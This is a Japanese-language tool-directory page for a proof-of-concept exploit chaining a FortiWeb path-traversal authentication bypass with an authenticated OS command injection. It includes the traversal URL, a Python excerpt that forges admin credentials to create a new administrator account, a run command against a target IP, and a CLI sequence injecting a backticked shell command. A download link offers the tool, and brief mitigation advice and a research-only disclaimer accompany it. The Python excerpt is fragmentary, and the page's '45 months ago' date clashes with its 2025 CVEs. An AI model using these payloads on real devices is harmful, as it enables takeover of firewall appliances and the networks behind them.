Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
FORTIWEB_CVE-2025-64446-58034 — FortiWeb CVEのPoCエクスプロイト:パストラバーサルによる認証バイパスと認証済みOSコマンドインジェクション。詳細な分析、ペイロード、およびセキュリティテストのための緩和策ガイダンスを含みます。 | Kitploit
ツール/GitHubGitHub/eagle-nett/fortiweb_cve-2025-64446-58034
認証と認可脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubeagle-nett/fortiweb_cve-2025-64446-58034

FORTIWEB_CVE-2025-64446-58034

FortiWeb CVEのPoCエクスプロイト:パストラバーサルによる認証バイパスと認証済みOSコマンドインジェクション。詳細な分析、ペイロード、およびセキュリティテストのための緩和策ガイダンスを含みます。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
45ヶ月前未レビュー

FortiWeb エクスプロイトのシミュレーション (CVE-2025-64446 & CVE-2025-58034)

注意:

  • この文書は学習およびセキュリティ研究のみを目的としています。
  • 許可なくシステムへの攻撃に使用しないでください。

1. 概要

FortiWeb は、Web アプリケーションを保護するための Web Application Firewall (WAF) デバイスです。

2025年に、2つの深刻な脆弱性が発見されました:

  • CVE-2025-64446 – Path Traversal による認証バイパス
  • CVE-2025-58034 – OS コマンドインジェクション

2. CVE-2025-64446 の概要

項目内容
脆弱性の種類相対パストラバーサル
認証バイパス
原因FortiWeb は認証前にパスを厳密に処理しません:

- 論理パス文字列に基づくアクセス制御
- パスを完全に正規化しない
- ../ を使用した内部リソースへのアクセスを許可
説明一部の管理エンドポイントは、有効な認証なしでアクセスされる可能性があります
影響- 認証を完全にバイパス
- 管理者機能への不正アクセス
- 権限モデルの破壊
影響を受けるバージョン- 8.0.0 – 8.0.1
- 7.6.0 – 7.6.4
- 7.4.0 – 7.4.9
- 7.2.0 – 7.2.11
- 7.0.0 – 7.0.11

例:

root@kitploit:~
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi

3. CVE-2025-58034 の概要


4. 実証実験のプロセス (POC)

4.1. 環境の準備:

root@kitploit:~
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

これにより、ライブラリのバージョン競合を回避し、作業環境の安定性を確保して、システムへの影響を抑えることができます。

venv-git

4.2 エクスプロイト

ペイロード

root@kitploit:~
 cgiinfo_json = {
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
    }
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
        resp = conn.getresponse()
result = {
            'target': f"{host}:{port}",
            'status': resp.status,
            'user': username,
            'password': password,
            'success': resp.status == 200
        }

Python3 でツールを実行します:

root@kitploit:~
python3 exploit.py <IP_target>
  • <IP_target>: ここでの IP アドレスは FortiWeb デバイスのホスト名です。

exploit

username と password を取得 -> ログインを実行

login

connect

エクスプロイトに成功し、管理者権限を持つ新しいアカウントを作成できました。

4.3 アカウントログイン後の CVE-2025-58034 のエクスプロイト

新しく作成した管理者アカウントでログインに成功した後、攻撃者は特別に細工したリクエスト、または FortiWeb CLI のコマンドラインインターフェースを直接介して、認証済みのコマンドインジェクションの脆弱性を悪用できます:

root@kitploit:~
config user saml-user

edit "`id`" ## nhập lệnh tại đây

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

FortiWeb は設定文字列をエスケープして、saml-user の設定中に id コマンドを実行します。

5. 脆弱性を軽減するいくつかの方法

  • FortiWeb をパッチ適用済みバージョンに更新する。
  • 管理インターフェースへのアクセスを制限する。
  • 管理インターフェースをインターネットに公開しない。
  • 異常な管理者アカウントを確認する。

6. 追加の参考資料

  • CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
  • CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034
ツールをダウンロード
項目内容
脆弱性の種類OS コマンドインジェクション (CWE-78)
原因FortiWeb は OS コマンド実行時に入力を安全に処理しません:

- 入力の検証なし
- 特殊文字のエスケープ不足
- ユーザーデータをシステムコマンドに直接渡す
説明認証を必要とするが、システムコマンドの挿入を許可する脆弱性
影響- 意図しないコマンドの実行
- システムリソースへのアクセス
- 完全性と可用性への影響
影響を受けるバージョン- 8.0.0 – 8.0.1
- 7.6.0 – 7.6.5
- 7.4.0 – 7.4.10
- 7.2.0 – 7.2.11
- 7.0.0 – 7.0.11